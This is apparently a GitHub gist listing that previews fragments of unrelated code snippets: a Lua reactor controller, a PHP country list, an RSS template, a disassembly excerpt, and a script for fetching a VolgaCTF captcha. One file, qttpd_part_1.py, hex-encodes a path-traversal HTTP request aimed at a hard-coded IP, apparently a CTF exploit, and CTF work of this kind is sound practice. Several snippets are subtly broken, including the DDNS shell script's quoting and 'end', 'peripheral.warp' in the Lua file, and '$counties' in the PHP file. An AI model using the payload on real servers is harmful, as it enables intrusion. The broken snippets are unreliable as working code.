View gist:a70b7e5092918e10de34
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
>function fail(memes, calcium) | |
>dank = :^) | |
>implying calcium < memes | |
>implying memes % calcium is 0 | |
>dank = :^( | |
>or not | |
>run fail(memes, calcium + 1) | |
>dank = run | |
>done implying | |
>done implying |
View help.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import urllib | |
import os | |
import readline | |
testfile = urllib.URLopener() | |
testfile.retrieve("http://yacst.2015.volgactf.ru/captcha", "captcha.wav") | |
os.system("ffmpeg -y -i captcha.wav -acodec pcm_s16le -ac 1 -ar 16000 file.wav") | |
var = raw_input("Please enter something: ") |
View qttpd_part_1.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from pwn import * | |
import time | |
import threading | |
WebRequest = "504f5354202f3f706167653d2e2e2f696e6465782f265343524950545f4558543d2e2e2f2e2e2f2e2e2f2e2e2f7777772f696e6465782e7368746d6c2644454255473d6f6e20485454502f312e310d0a486f73743a203130372e3138392e39342e3235330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d4c656e6774683a2035310d0a4f726967696e3a206368726f6d652d657874656e73696f6e3a2f2f6169636d6b677067616b6464676e6170686868706c696966706366686963666f0d0a4163636570742d4c616e67756167653a20656e2d47422c656e2d55533b713d302e382c656e3b713d302e360d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e5420362e333b20574f57363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f34322e302e323331312e3930205361666172692f3533372e33360d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c2a2f2a3b713d302e380d0a43616368652d436f6e74726f |
View gitlab_hipchat_deployhq.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
GitLab to (HipChat and DeployHQ) | |
Set GitLab commit web hook to http://server/script.php?url={deployhq_deploy_url} | |
Uses https://github.com/hipchat/hipchat-php | |
*/ |
View musicbot.c++
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.rodata:000000000002BF52 aMusic db 'music',0 ; DATA XREF: sub_13D80+88o | |
.rodata:000000000002BF52 ; sub_13D80+4B4o ... | |
.rodata:000000000002BF58 ; QString aUrls | |
.rodata:000000000002BF58 aUrls db 'urls',0 ; DATA XREF: sub_13D80+1FBo | |
.rodata:000000000002BF58 ; sub_22E00+4FDo ... | |
.rodata:000000000002BF5D ; char aSound[] | |
.rodata:000000000002BF5D aSound db 'sound',0 ; DATA XREF: sub_13D80+74Do | |
.rodata:000000000002BF5D ; ts3plugin_processCommand+227o ... |
View script.lua
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
while true do | |
local reactor = peripheral.warp("BigReactors-Reactor_0") | |
local low = 500000 | |
local high = 9000000 | |
local mon = peripheral.wrap("monitor_0") | |
if reactor.getEnergyStored() <=low then | |
reactor.setActive(true) | |
end | |
View countries.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$counties = ["AF" => "Afghanistan", | |
"AX" => "Aland Islands", | |
"AL" => "Albania", | |
"DZ" => "Algeria", | |
"AS" => "American Samoa", | |
"AD" => "Andorra", | |
"AO" => "Angola", | |
"AI" => "Anguilla", | |
"AQ" => "Antarctica", | |
"AG" => "Antigua and Barbuda", |
View itunes.xml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="utf-8"?> | |
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xml:lang="en-GB" version="2.0"> | |
<channel> | |
<title>Your Feed Title</title> | |
<description>Your Feed Description</description> | |
<link>http://www.yourdomain.com/</link> | |
<atom:link href="http://www.yourdomain.com/rss.xml" rel="self" type="application/rss+xml" /> | |
<itunes:owner> | |
<itunes:name>Your Feed Name</itunes:name> | |
<itunes:email>Your Feed Email</itunes:email> |
View cfddns.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
wanIP = 'nvram get wan_ipaddr_t' | |
lastCFIP = 'nvram get cfddns_ip' | |
if [ -n "$wanIP" ]; then | |
if [ "$wanIP" != "$lastCFIP" ]; then | |
nvram set cfddns_ip=$wanIP | |
end | |
else | |
echo "empty" | |
fi |
View AttributePrinter.cs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
foreach (PropertyDescriptor descriptor in TypeDescriptor.GetProperties(MyObject)) | |
{ | |
string name = descriptor.Name; | |
object value = descriptor.GetValue(MyObject); | |
Console.WriteLine("{0}={1}", name, value); | |
} |